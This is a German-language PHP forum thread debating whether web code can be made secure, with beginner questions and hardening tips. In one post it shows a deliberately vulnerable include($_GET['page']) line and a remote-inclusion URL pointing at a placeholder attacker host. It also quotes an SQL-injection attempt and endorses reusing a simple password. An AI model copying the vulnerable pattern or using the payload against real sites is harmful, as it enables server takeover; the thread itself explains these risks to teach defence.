Sicherheit in PHP

Das PHP Security Consortium hat noch einige gute Aspekte. Ich habe jetzt noch nicht alles durchgelesen. Aber das was ich fand hat mir mal gut gefallen. Es gibt die Texte als PDF und in HTML und in verschiedenen Sprachen. Leider nicht auf Deutsch.

PHP Security Consortium: Projects

MFG
X
 
Hallo Liebe User / Mods und Admins


Ich möchte zu diesem Tehma auch Stellung nehmen. Denn ich sehe es ganz anders, soll aber nicht als widerständig aufgenommen werden.

Wie der Titel des Themas predigt „Sicherheit in PHP“ kann es nie und nimmer geben. Und das wird es auch nie geben! Und man kann es auch nicht durch Aufmerksamkeit oder Achtsamkeit verhindern. Man kann es nur beschränken!

Der Hase liegt ganz wo anders begraben. Und das weis jeder für sich, der nur 3 Zeilen Code und sich schon mal ein Virus eingefangen hat. Man schreibt dem unerfahrenen Volk vor, sein PC ständig upzudaten, Firewall und Antivirus zu betreiben, E-Mailanhänge bestens nicht zu öffnen und noch vieles mehr, um Sicherheit zu erlangen, die es nie gibt und auch nie geben wird.

Ich lese immer wieder von Diplom getitelten Menschen (hoch gebildet) dass der PC mit Internetanbindung zur Sicherheit gebracht werden kann. Ich frage mich immer wieder, wie Menschen mit solcher Erfahrung so was behaupten können? Selbst eine bekannte Computerzeitschrift Titelt auf der Startseite Antivir 2006 erkennt 100% der Viren! ? Ich soll also 5 Jahre Betriebsysteme studieren, PHP im Modul selbst studieren, weis sonst noch was, um sicher 3 Zeilen Code zu tippen? Schöne Welt aber so ist sie. Und trotzdem gibt es Tools die Passwörter angeblich sicher aufbewahren können, sie jedoch wieder ausgeben können. Das Volk wird wieder vergackeiert.

Jedes Passwort hat auf einem PC nichts verloren. Denn alles was wieder ausgegeben wird, kann auch ausgenutzt werden. Nur wie soll das funktionieren, wenn die Verbindung zu Mysql Datenbank schon eins fordert? Und genau hier fängt die Unsicherheit an. Nur man schiebt sie immer auf das Volk, das eigentlich nur das verdaut, wofür sie unschuldig getitelt werden. Wer kann was dafür, dass PHP in der Fehlermeldung beispielsweise bei file_get_contents() und nicht Erreichbarkeit auch die URL mit ggf. per GET übergebenen Passwort ausgibt, nur weil der User ein @ nicht vor setzt. Würde die Fehlermeldung nicht ohne Get Parameter oder gar URL ausreichen? Und wieder wird das kleine Volk für die Fehler der schlauen verurteilt.

Die Lücken die genutzt wurden, sind von unseren Fachleuten nicht bedacht worden. Und selbst die können diese nicht bedenken.

Also ich lehne mich nicht auf. Sicherheit ist dennoch überwichtig. Aber die Beiträge klingen einfach nach „Faulheit“ der User. Ich progge auch schon mehrere Jahre, und bin mir dessen Problem bewusst. Nur die schuldigen sitzen meist auf der anderen Seite mit zig Jahren Erfahrung und urteilen über die unerfahrenen, und schieben einfach ihre eigenen Fehler weiter. Informiert wird dann wirklich nur in englisch zu 90% und in für Anfänger unverständlicher Fachsprache.

Wie soll der Peter aus der Auguststrasse nun sein System schützen? – Er wollte nur ein Gästebuch auf seiner Webseite haben, und hat jetzt ein Verfahren am Hals, wofür er nichts kann. Er hat doch alles so getan wie es in der Installationsanleitung steht, fragt er sich hinterher. Und der progger des Gästebuchs behauptet, er habe sein GB nicht upgedatet, und sei deshalb an allem selbst schuld und untauglich.

Auch aus diesen doch wenn auch sehr hilfreichen Thema lese ich heraus, dass man schon studieren und zig Stunden Aufwand für eine Hobby HP aufbringen sollte (übertrieben gemeint) bevor man überhaupt eine Zeile Code eingeben kann. Und auf Xampp steht so ungefähr „Werbung: hol dir das Produkt – So installierst du es“ fertig. Die Readme ist dann oft in englisch und für einen normalen (oder gebildeten Menschen in eine andere Richtung) überhaupt nicht zu raffen. Mir und allen die erfahren sind, ging es am Anfang nicht anders. Ein Programmierer macht eben die Erfahrung reich, nicht was er kann oder meint zu können.

Würde man dem Otto Normal Verbrauche klar machen, dass selbst das ganze sein System vor gar nichts schützt, würde der zumindest die richtige Haltung einnehmen. Stattdessen entmutigt man ihn (wie genannt FAQ in engl. Update nur mit Fachwissen möglich etc…) und macht ihn für alles selbst verantwortlich.

Über Windows wird in Linux Kreisen gelästert, aber Linux ist auch nicht sicher. Und auch der Firefox wird sicher geredet, wo auch schon unzählig Lücken gab. Genau das wird hier mittels Propaganda verlautet, und genau deshalb ist sich kein Anfänger bewusst, wie er nachzudenken hat.

Viel mehr sollte man die Wahrheit weitergeben. Dein Mysql PW ist der Datei könnte jederzeit ausgelesen werden. Dann würde der unerfahrene ein Thema aufmachen „wie mach ich es sicher“?

Ist meine Meinung zu diesem Thema!


Mein Tipp an die Anfänger: Es ist überhaupt nichts sicher! Deshalb schaut danach, es so sicher wie nur möglich zu machen. ein unset() nach der Verbindung der DB besipielweise.... Habt ständig Angst um eure Passwörter und Daten, die wenn sie ein anderer lesen könnte euch Schaden zufügen!

Viel eher erkläre ich alle Anfängern, Sicherheit ist ein Wettlauf der nie aufhört. Je schneller du mitläufst desto sicherer aber keinesfalls Sicher ist man. Das war also für keinen so ausgelegt, dass er sich nicht bilden sollte. Bildung ist daher sehr wichtig. Aber kein Anfänger soll sich frustriert sehen. Die Fehler macht jeder mal. Und aus den eigenen Fehlern lernt man am besten. Aber die Hauptschuldigen in der ganzen Sachen sind zu 90% die gebildeten, die sich ihre eigenen Fehler nicht gestehen können! Und da zähle ich mich auch dazu!

Wer also den Weg erkennt, wie der Hase wirklich läuft, der Vertraut nicht nur auf den nächsten, sondern macht auch endlich sein eigenen Kopf dafür auf. So wie das von Erfahrenären dargelegt wird, oder ausgeschildert steht, würde es eigentlich nur noch mehr zu Sicherheitsproblemen führen. Oder das Volk und damit die Bildung demotivieren.

Mit meiner stolzen englischen Readme tue ich keinem was gut. Und das muss ich mir als Erfahrener eingestehen. Nur weil ich es mittlerweile verstehe, muss ein anderer dies noch lange nicht, und scheitert, obwohl er wirklich für ihn alles Mögliche getan hat, und ernstens Versucht hat alles richtig zu machen. Genau das will ich ansprechen. Wir sind uns zu stolz, deshalb herrsch Unsicherheit. Nur so vererben wir nicht Wissen sondern Ahnungslosigkeit und die wirklich guten Nachfolger bleiben aus. Und alles wir unsicherer wie es nicht sein sollte.
 
Zuletzt bearbeitet von einem Moderator:
Hi, Lukasz. Ich kann Deine Einwaende durchaus nachvollziehen und stimme Dir absolut zu, dass es nie 100%ige Sicherheit (ausser dem guten, alten Beispiel aus Orange (?) Book mit dem unvernetzten Computer im Glaskasten der weder per Maus noch Tastatur bedient werden kann ;) ) geben kann. In diesem Thread sollen jedoch Hinweise oder Artikel gepostet werden die einem auf dem Weg zur "optimalen" Sicherheit helfen sollen.
Auch wollen wir ja hier versuchen Codeschnipsel zu zeigen die tendenziell unsicher sind und dem dann das potenziell sicherere Script gegenueberstellen.
Das ist leider bisher nicht geschehen, aber wir haben hier halt schon einige interessante Links sammeln koennen.
Die meisten Artikel sind Englisch, das liegt zum einen daran, dass Englisch die Sprache des Internet ist, zum anderen aber auch, dass ich hauptsaechlich auf englischen Seiten unterwegs bin. Das Problem ist auch, dass solche Informationen wohl eher schwer auf Deutsch zu finden sind. Woran das liegt kann man nur spekulieren: Ignoranz deutscher PHP-Scripter gegenueber Security? Schreibfaulheit?
Daher find ich es besser einen Haufen englischer Artikel hier aufzulisten als garnicht, denn dadurch verliert der Thread absolut seinen Sinn.
Es geht mir bei den englischen Artikeln also keineswegs darum hier zu beweisen wie toll ich doch des Englischen maechtig bin. Hier hat niemand was zu beweisen, wir wollen hier einander helfen.
Hier auch niemand den grossen Macker in Sachen Security raushaengen lassen, nur wenn jemand in dem Bereich Erfahrung hat, wie z.B. Christian, ist es doch gerade gut wenn sich so einer auch mal Umfangreich zu Wort meldet und auf diverse Punkte aufmerksam macht.
Hier spricht auch niemand davon, dass Linux (oder Firefox) die ultimative Sicherheitsloesung gegenueber Windows (oder eben Internet Explorer) ist. Jedoch sind diese durchaus tendenziell sicherer weil eben Windows (oder Internet Explorer) in der Standardkonfiguration ein groessere Angriffsflaeche bieten als Linux (oder Firefox). Aber es geht hier auch nicht um die Frage ob nun Windows oder Linux, Internet Explorer oder Firefox, hier geht es um PHP, und darum wie man diversen Sicherheitsproblemen aus dem Weg gehen kann.
Und mal ganz ehrlich, was meinst Du denn wie viele Anfaenger ueberhaupt in diesen Thread gucken? Das werden sicher nicht all zu viele sein, denn die meisten die hierher kommen wollen schnelle Hilfe um ihr Script fertig zu bekommen, dabei ist den meisten Sicherheit erstmal unwichtig. User die sich dann laenger damit befassen fangen sich dann langsam mal an sich dafuer zu interessieren. Und Anfaengern wird hier oft genug auch mal der Hinweis praesentiert, dass der Code den sie da zusammenkloeppeln dieses oder jenes Problem bietet.

Also, wie gesagt, hier geht es nicht darum taeglich unsere Profilierungssucht zu befriedigen sondern darum anderen zu helfen.
Und wer heutzutage kein Englisch kann ist meiner Meinung nach selbst Schuld (es gibt da natuerlich auch ein paar Ausnahmen, aber diese sind eben nicht die Regel). Ich meine dabei jetzt nicht die Generation meiner Eltern, dass dort weniger Englisch unterrichtet wurde ist mir klar, aber alles ab meiner Generation hat keine Ausrede. Natuerlich gibt es auch Leute die allgemein Probleme mit Sprachen haben und auch unterdurchschnittlich intelligente Menschen, aber wenn man davon ausgeht wie miserabel Deutschland Englisch spricht, dann muessten wohl 2/3 aller deutschen Schulen Sonderschulen sein. ;-]
Und Fachbegriffe gibt es ueberall. Wenn ich jetzt mal eine Woche Praktikum beim Blumenhaendler machen wuerde dann wuerde ich nach der Woche mit Sicherheit mindestens 10 neue Begriffe kennen.

So, es waere schoen wenn es das fuer diese Diskussion gewesen ist. Falls dennoch Bedarf zu weiteren Meinungsaeusserungen besteht bin ich gern bereit die entsprechenden Posts aus dem Thread zu trennen und einen neuen Thread daraus zu machen.
 
Lukasz hat gesagt.:
Wie der Titel des Themas predigt „Sicherheit in PHP“ kann es nie und nimmer geben. Und das wird es auch nie geben! Und man kann es auch nicht durch Aufmerksamkeit oder Achtsamkeit verhindern. Man kann es nur beschränken!

Ja, aber obwohl der Airbag keinen 100% igen Schutz vor dem Verkehrstot bietet, ist er dennoch für mich ein Kaufargument bei einem Auto.

Der Hase liegt ganz wo anders begraben. Und das weis jeder für sich, der nur 3 Zeilen Code und sich schon mal ein Virus eingefangen hat. Man schreibt dem unerfahrenen Volk vor, sein PC ständig upzudaten, Firewall und Antivirus zu betreiben, E-Mailanhänge bestens nicht zu öffnen und noch vieles mehr, um Sicherheit zu erlangen, die es nie gibt und auch nie geben wird.

Sicherheit ist immer dem Zustand der kompletten Sicherheit so nah wie möglich zu kommen.

Ich soll also 5 Jahre Betriebsysteme studieren, PHP im Modul selbst studieren, weis sonst noch was, um sicher 3 Zeilen Code zu tippen? Schöne Welt aber so ist sie. Und trotzdem gibt es Tools die Passwörter angeblich sicher aufbewahren können, sie jedoch wieder ausgeben können. Das Volk wird wieder vergackeiert.

Ja es wird viel Geld mit angeblicher Sicherheit gemacht. Im Grunde aber ist die IT-Sicherheit nicht die Summe an Tools sondern ein sicherheitsbewusster Umgang mit
dem Rechner, an die Situation angepasst.

Jedes Passwort hat auf einem PC nichts verloren. Denn alles was wieder ausgegeben wird, kann auch ausgenutzt werden.

Das stimmt so nicht. Es gibt unkritische und kritische Passwörter. Ich habe z.b ein sehr einfaches Standardpasswort das keinen Regeln wie [Gross und Kleinschriebung verschieden- nicht zusammenhängende Wörter usw] entspricht.
Dieses Passwort nutze ich wenn ich mich auf Seite bzw Forum XYZ anmelde.
Genauso nutze ich dieses Passwort auf meinen lokalen Datenbanken.
Andere Passwörter die sehr komplex sind in der Form XaG4k2z9haff habe ich dafür für kritische Dinge.

Nur wie soll das funktionieren, wenn die Verbindung zu Mysql Datenbank schon eins fordert? Und genau hier fängt die Unsicherheit an.

Es spricht nichts dagegen wenn du ein Passwort auf der Platte speicherst.
Denke einfach daran das dein MySQL Passwort zu einem MySQL User gehört der nur die nötigsten Rechte hat. Das Passwort nicht von aussen aufrufbar ist. Mann eben kein "chmod 777 config.php" aus Faulheit / Unwissen absetzt.
Sicherheit ist die Summe von Wissen / Verantwortungsvolles Verhalten.

Nur man schiebt sie immer auf das Volk, das eigentlich nur das verdaut, wofür sie unschuldig getitelt werden. Wer kann was dafür, dass PHP in der Fehlermeldung beispielsweise bei file_get_contents() und nicht Erreichbarkeit auch die URL mit ggf. per GET übergebenen Passwort ausgibt, nur weil der User ein @ nicht vor setzt.

@ sollte sowieso nicht eingesetzt werden. Ein Fehler ist ein Fehler und sollte nicht einfach ignoriert werden. PHP kann Exceptions abfangen, wenn mann denn schon weiss
das hier ein Fehler passieren kann sollte man die Möglichkeit auch berücksichtigen und nicht einfach unterdrücken.

Auf einem Produktivsystem sollte: display-errors auf 0 gesetzt sein.
http://de3.php.net/manual/en/ref.errorfunc.php#ini.display-errors
Dann gibt es auch keine Probleme mit Fehlerbehandlung übersehen.

Würde die Fehlermeldung nicht ohne Get Parameter oder gar URL ausreichen? Und wieder wird das kleine Volk für die Fehler der schlauen verurteilt.

Nein hier ist das kleine Volk schuldig wenn die Konfiguration eines Produktivsystems Fehlermeldungen darstellt. Denn das "kleine Volk" kann entweder unter diesem Flag (display-errors) 0 setzen oder seinem Hoster auf das Dach steigen das die das machen.

Die Lücken die genutzt wurden, sind von unseren Fachleuten nicht bedacht worden. Und selbst die können diese nicht bedenken.
was gefällt dir an display-errors nicht?

Also ich lehne mich nicht auf. Sicherheit ist dennoch überwichtig. Aber die Beiträge klingen einfach nach „Faulheit“ der User. Ich progge auch schon mehrere Jahre, und bin mir dessen Problem bewusst. Nur die schuldigen sitzen meist auf der anderen Seite mit zig Jahren Erfahrung und urteilen über die unerfahrenen, und schieben einfach ihre eigenen Fehler weiter. Informiert wird dann wirklich nur in englisch zu 90% und in für Anfänger unverständlicher Fachsprache.

Software entwicklung ist ein Fachgebiet. Ähnlich wie Ingeneurswesen. Ich werde kein Haus entwerfen und dann bauen weil ich davon keine Ahnung habe.
Will ich das ändern, dann muss ich etwas dafür tun. Genauso wenig ist Programmieren kein Gebiet das man ohne sich ständig zu informieren meistern kann.
Die Syntax einer Sprache zu kennen ist nicht die halbe Miete beim Wissen, sondern maximal 5% dessen was man wissen sollte.

Wie soll der Peter aus der Auguststrasse nun sein System schützen? – Er wollte nur ein Gästebuch auf seiner Webseite haben, und hat jetzt ein Verfahren am Hals, wofür er nichts kann. Er hat doch alles so getan wie es in der Installationsanleitung steht, fragt er sich hinterher. Und der progger des Gästebuchs behauptet, er habe sein GB nicht upgedatet, und sei deshalb an allem selbst schuld und untauglich.

Peter aus der Auguststrasse hätte eine Firma beauftragen sollen wenn er das Wissen nicht hat. Wenn ich im Haus Kabel verlegen will, dann lass ich einen Elektriker kommen oder einen Freund der Ahnung davon hat. Der Grund ist einfach: ich habe nicht den blassesten Schimmer.
Und ich wette mit dir er kommt (aufgrund der Menge an IT Studenten) billiger weg als wenn er einen Elektriker zahlen müsste.
Will er es selber machen, so muss er sich umfassend informieren und tips auch beherzigen. "Works for me!" reicht nicht aus.

Auch aus diesen doch wenn auch sehr hilfreichen Thema lese ich heraus, dass man schon studieren und zig Stunden Aufwand für eine Hobby HP aufbringen sollte (übertrieben gemeint) bevor man überhaupt eine Zeile Code eingeben kann

Zig Stunden Aufwand sollte mann wirklich aufbringen bevor man seine Hobby HP programmiert. Das ist vollkommen richtig.
Genauso wie ich zig Stunden Aufwand hätte würde ich im Haus die ganze Verkabelung selber machen. Ich müsste mich genauso darum kümmern das ich mir das Wissen um Sicherheit aneigne das Kinder die zu besuch sind nicht beim langen in eine Ecke einen Schlag bekommen. Passiert das weil ich keine Ahnung von Elektrik hatte, und ein Kind deshalb stirbt, nur weil ich nicht bereit war es machen zu lassen, dann habe ich zurecht ein Verfahren am Hals.

. Und auf Xampp steht so ungefähr „Werbung: hol dir das Produkt – So installierst du es“ fertig. Die Readme ist dann oft in englisch und für einen normalen (oder gebildeten Menschen in eine andere Richtung) überhaupt nicht zu raffen.

Es gibt da draussen fantastische Bücher in Deutsch! Es gibt sogar einige kostenlose Bücher in deutsch.
Genügend Material um sich das Wissen anzueignen. Mann benötigt kein Diplom um saubere Software zu schreiben sondern nur den Antrieb und die Zeit sich das Wissen anzueignen.

Mir und allen die erfahren sind, ging es am Anfang nicht anders. Ein Programmierer macht eben die Erfahrung reich, nicht was er kann oder meint zu können.

Das ist richtig. Erfahrung ist der beste Weg um stabile und sichere Software zu programmieren. Aber man kann sich die Erfahrung im Bereich Sicherheit erst dann aneignen wenn man sie von Anfang an lernt.
Das bedeutet lernt man gerade wie man in PHP Dateien öffnet und ausliest sollte man genau in dem Moment auch lernen wie man damit umgeht wenn Dateien nicht gefunden werden, Dateien Korrupt sind usw.
Das bedeutet Programmieren lernen heisst nicht nur zu lernen wie welche Funktionen aufgerufen werden, sondern wie der Code Strukturiert wird das jenes Programm auch mit erwartbaren Fehler umgehen kann.
Leider bietet PHP hier @ an, was für viele Progammieranfänger ein kurzes merkbares Statement ist um sich nicht mehr damit beschäftigen zu müssen.

Über Windows wird in Linux Kreisen gelästert, aber Linux ist auch nicht sicher. Und auch der Firefox wird sicher geredet, wo auch schon unzählig Lücken gab. Genau das wird hier mittels Propaganda verlautet, und genau deshalb ist sich kein Anfänger bewusst, wie er nachzudenken hat.

Linux ist nicht per default sicher. Aber Sicherheit ist kein Zustand sondern die Summe vieler Faktoren. Ich habe erst letzte Woche versucht auf meinem Windows Rechner MS Flugsimulator 2004 zu installieren. Ich habe die Installation abgebrochen als die Meldung kam das ich jene Software nur mit einem Administrator Accaunt starten kann.
Mann wird keine RedHat Software finden die nur mit root Accaunt gestartet werden kann und um das es sich um etwas ähnlich wie ein Spiel handelt.
Es findet zwar zum Glück ein umdenken bei MS statt (aufgrund der massiven negativen Nachrichten über Windows Würmer usw) aber MS hat das Problem das sie ein Betriebssystem welches vom Konzept her unsicher ist auf Sicherheit trimmen müssen.
Bei Windows kommt vieles in die Quere:
- Homogene Softwarelandschaft (IE, OE)
- Ursprung in einem System ohne Userverwaltung (Dos, win 3.11, win95..)
- Vorrangiges Einsatzgebiet Spiele & Multimedia / Desktop
- Den Anspruch komplexe Dinge einfach zu machen
- Riesige Verbreitung

Linux hat es einfacher sicher zu sein. Seine Wurzeln liegen bei UNIX, einem Server Betriebssystem welches Sicherheit seid Jahrzehnten propagiert als es bei CM/P bzw DOS nichtmal eine Userverwaltung und Dateiberechtigungen gab.
aber das ist eigentlich ein anderes Thema ...

Viel mehr sollte man die Wahrheit weitergeben. Dein Mysql PW ist der Datei könnte jederzeit ausgelesen werden. Dann würde der unerfahrene ein Thema aufmachen „wie mach ich es sicher“?

ich mach dir ein Vorschlag. Wenn du im PHP Forum ein Thread siehst in dem nach XY gefragt wird, und sich unsicherer Code zeigt. Dann mach ihn nicht nur auf die Lösung XY aufmerksam sondern stubse seine Nase auch auf die Schwachstelle.

Mein Tipp an die Anfänger: Es ist überhaupt nichts sicher! Deshalb schaut danach, es so sicher wie nur möglich zu machen. ein unset() nach der Verbindung der DB besipielweise.... Habt ständig Angst um eure Passwörter und Daten, die wenn sie ein anderer lesen könnte euch Schaden zufügen!

Wie ich schon im anderen Post sagte: Paranoia schadet nicht ;)

Viel eher erkläre ich alle Anfängern, Sicherheit ist ein Wettlauf der nie aufhört. Je schneller du mitläufst desto sicherer aber keinesfalls Sicher ist man. Das war also für keinen so ausgelegt, dass er sich nicht bilden sollte. Bildung ist daher sehr wichtig. Aber kein Anfänger soll sich frustriert sehen. Die Fehler macht jeder mal. Und aus den eigenen Fehlern lernt man am besten. Aber die Hauptschuldigen in der ganzen Sachen sind zu 90% die gebildeten, die sich ihre eigenen Fehler nicht gestehen können! Und da zähle ich mich auch dazu!

Die Hauptschuldigen sind jene die kein Interresse an Sicherheit haben. Ganz gleich ob mann sie zu den "Gebildeten" zählen kann oder nicht.

Wer also den Weg erkennt, wie der Hase wirklich läuft, der Vertraut nicht nur auf den nächsten, sondern macht auch endlich sein eigenen Kopf dafür auf. So wie das von Erfahrenären dargelegt wird, oder ausgeschildert steht, würde es eigentlich nur noch mehr zu Sicherheitsproblemen führen. Oder das Volk und damit die Bildung demotivieren.

Sorry du argumentierst konfus. Spezifiere denn doch mal wen du mit "Erfahrenären" meinst in diesem Zusammenhang genau meinst.
Ein Link wäre hier hilfreich.

Mit meiner stolzen englischen Readme tue ich keinem was gut. Und das muss ich mir als Erfahrener eingestehen.

Wer kein Englisch lesen kann der sollte nicht programmieren.

Nur weil ich es mittlerweile verstehe, muss ein anderer dies noch lange nicht, und scheitert, obwohl er wirklich für ihn alles Mögliche getan hat, und ernstens Versucht hat alles richtig zu machen. Genau das will ich ansprechen. Wir sind uns zu stolz, deshalb herrsch Unsicherheit. Nur so vererben wir nicht Wissen sondern Ahnungslosigkeit und die wirklich guten Nachfolger bleiben aus. Und alles wir unsicherer wie es nicht sein sollte.

Aber nicht aufgrund englischer Doku. Wenn ich eine Doku eines Systems nicht verstehe weil sie Fachwissen vorraussetzt das ich nicht habe, dann habe ich die Finger von dem System zu lassen.
Anders ist natürlich wenn die Doku einfach schlecht ist, aber auch dann lass ich die Finger von dem System.

Eine Doku die sämmtliche Fachbegriffe versucht zu vermeiden und umschreibt ist für mich nicht lesbar. Denn gerade Fachbegriffe machen eine Doku greifbar und verständlich.
Wenn eine Doku mir erklärt das ich an die Konfiguration über das Singleton Configuration rankomme dann ist das für mich auf den 1. Blick verständlich. Beschreibt die Doku aber über 10 Zeilen was ein Singleton ist und weshalb ich nicht einfach die Klasse instanzieren kann dann verliere ich den Blick für das wesentliche und die Doku ist schlecht.
 
Um mal wieder auf das eigentlich Thema des Threads zurückzukommen...

Ich zähle mich jetzt mal zu den Anfängern in PHP (vielleicht kein blutiger Anfänger, sagen wir mal ein fortgeschrittener Anfänger).

Ich möchte etwas neues ausprobieren, z.b. einen Ordner auf dem Server kopieren und einen neuen Namen geben sowie chmod Rechte setzen.

Früher ging ich so vor:
Hm, was kann ich schon? Ah ja, mit "copy" habe ich schon mal gearbeitet, dann wollen wir mal...

Wie sollte ich vorgehen? (Das meine Frage an euch)

Ich habe jetzt z.b. angefangen hier erst mal zu suchen:
http://de2.php.net/manual-lookup.php?pattern=file+copy&lang=de

Dann lese ich mir halt alles durch... Und mir ist natürlich alles zu kompliziert (Klar, weil wenn ich es schon könnte wäre es ja nichts neues) deswegen nutze ich diesen Code:

PHP:
<?php
if (!copy($file, $file.'.bak')) {
   print ("failed to copy $file...<br>\n");
}
?>

Und fertig ist mein Script.

Sicherheit? Keine Ahnung...
Also was genau sollte man tun in dem Stadium wo man Informationen sucht?

EDIT: Und da bei dem copy ja noch das Umbennen fehlt, suche ich nochmal und finde diesen Code:

PHP:
rename("/tmp/tmp_file.txt", "/home/user/login/docs/my_file.txt");

Den finde ich viel toller und benutze den :-D
 
Zuletzt bearbeitet:
Es geht dabei in erster Linie um Variablen, genauer gesagt: Variablen die vom User beeinflusst werden koennen.
Wenn Du einen Code hast der vollkommen frei von Variablen ist (was natuerlich im Normalfall ziemlich sinnfrei ist) dann brauchst Du Dir im Grunde auch keine Gedanken machen ob da jemand was einschleusen kann, denn es gibt keinen Ansatzpunkt.
Anders sieht es halt aus wenn der User Formulare praesentiert bekommt und/oder Daten per URL uebergeben werden.
Dabei gilt die Devise: Es gibt zwei Arten von Usern: Dumme User und boese User!
Entsprechend muss man mit allem was der User uebergibt umgehen.

Ein paar sehr schoene Beispiele gibt es in der zuvor bereits geposteten Praesentation PHP Security by Example.
Es gibt natuerlich auch ein paar Einstellungen die einem bei PHP das Leben sicherer machen und daheim kann man ja sein PHP einstellen wie man lustig ist. Nur wird man daheim wohl kaum angegriffen, ausser man besorgt sich einen DynDNS-Namen und blaest den Hostnamen in die weite Welt hinaus. ;)
Bei Hostern kann man sich aber nicht darauf verlassen, dass diese Einstellungen "auf sicher" gesetzt sind. Hoster koennen ihre Einstellungen ja durchaus mal aendern, oder Du wechselst zu einem anderen Hoster, und ploetzlich koennte ein riesiges Sicherheitsloch aufklappen weil Du den unglaublich boesen Code
PHP:
include($_GET['page']);
nutzt ohne vorher zu schauen ob $_GET['page'] ueberhaupt zulaessig ist. Mit allow_url_fopen=on kann hier per index.php?page=http://boeser.hacker.clan/fieses_script.php ein boesartiges Script eingebunden werden welches dann natuerlich auf dem Server alles machen kann was auch Deine Scripts koennen.

Das schoene an PHP ist ja, dass man sich daheim eine vollstaendige Testumgebung aufbauen kann und dort eben auch alle Freiheiten hat.
Ich handhabe das dabei so: Waehrend ich an etwas arbeite setze ich die Einstellunge restriktiv, um garnicht erst auf die Idee zu kommen Code zu nutzen der mir durch eine Einstellung deaktiviert/beschnitten werden koennte. Auch hab ich bei der Entwicklung volles Error-Reporting an (beim Test uebrigens spaeter auch). Fehler, Warnungen und Hinweise werden in der Phase systematisch ausradiert, nicht durch die Verwendung von @, sondern durch zusaetzliche Abfragen. @ kann man schonmal einsetzen, man sollte aber soweit moeglich darauf verzichten. Und wenn man es nutzt sollte man selbst moegliche Fehler behandeln.
Bei fsockopen() z.B. find ich es okay mit @ zu arbeiten. Es gibt keine andere Moeglichkeit zuerst zu testen ob ein Host erreichbar ist. Und ist er es nicht wird mit einer unschoenen Fehlermeldung abgebrochen. Dass nachfolgender Code der von der Verbindung abhaengig ist nicht ausgefuehrt werden kann und soll ist klar, aber es kann durchaus noch was anderes gemacht werden was nicht von fsockopen() abhaengig ist.
Mal ein Beispiel dazu:
PHP:
//ganz viel Code
$http=@fsockopen('www.tutorials.de',80);
if ($http===false)
{
 echo 'Fehler: Verbindung zu tutorials.de kann nicht hergestellt werden!';
}
else
{
 //mach irgendwas mit der Verbindung
 fclose($http);
}
//noch mehr Code
Besser waeren natuerlich Exceptions, die gibt es aber erst ab PHP5, aber auch das ist wie es aussieht noch nicht so weit verbreitet bei Hostern.

Nun zur Testphase: Da setz ich die Einstellungen "auf unsicher". So kann ich dann schauen ob meine Scripts auch ohne die Unterstuetzung von PHP-eigenen Mechanismen den Ideen boeser Menschen standhalten koennen oder ob ich mich zu sehr auf die Hilfe von PHP verlassen habe. Wenn ich hier irgendwas unerwuenschtes Feststelle, z.B. dass Code- oder SQL-Injections moeglich sind, dann wird dies gleich behoben und wieder getestet, eben bis es sicher genug ist.
 
Also ich habe hier jetzt mein ganz tolles selber gebasteltes Script (natürlich völlig unsicher) und jetzt würde ich daran mal gerne ein wenig lernen wegen Sicherheitssachen.

Habe jetzt viel von SQL Injections gehört und gelesen - habe versucht das bei meinem Script mal selber anzuwenden (also bei dem Eingabefeld im Formular mal:
PHP:
UPDATE tabelle SET passwort='haha' WHERE id='1'
und ähnliches Sachen eingegeben) - Allerdings hats nie hingehauen :( (Na ja, eher :) ) - Natürlich heißt das nicht, das mein Script sicher ist - wahrscheinlich war ich einfach nur zu blöd (bin ja kein Hacker ^^).

Nun ja, was genau sollte man als Standart auf jeden Fall machen zum Absichern?
Habe z.b. was davon gelesen (mein Gott habe ich viel dazu gelesen) das man vor jede abfrage ein addslashes() davor setzen soll - nur wohin und warum habe ich nicht wirklich kapiert...

Wäre nett wenn man mir da mal auf die Beine helfen könnte...
 
Hallo!

Mehr zu SQL-Injectios findest Du auch auf Wikipedia unter SQL-Injektion.

Dem nach muss nicht nur das Passwort escaped (maskiert) werden, sondern auch die ID.
Hierzu solltest Du die dafür vorgesehene Funktion mysql_real_escape_string() nutzen.

Beispiel:
PHP:
$querry = "UPDATE `tabelle` SET `passwort`='".mysql_real_escape_string($_GET['passwort'])."' WHERE `id`='".mysql_real_escape_string($_GET['id'])."'";
Gruss Dr Dau
 

Hardened-PHP hab ich ja nun schon eine Weile im Einsatz und muss sagen dass der Hardening-Patch eine ganz gute Sache ist. Und soweit scheint er auch nicht irgendwelchen Scripts in die Quere zu kommen.
Nun, Sinn meines Posts ist nun aber auf den Nachfolger des Hardening-Patches aufmerksam zu machen, namentlich ist dies Suhosin, welches aus einem Patch und einer eigenen Extension besteht.
Suhosin hab ich bisher nicht getestet, aber werd es mir wohl die Tage mal ansehen.
 
Zurück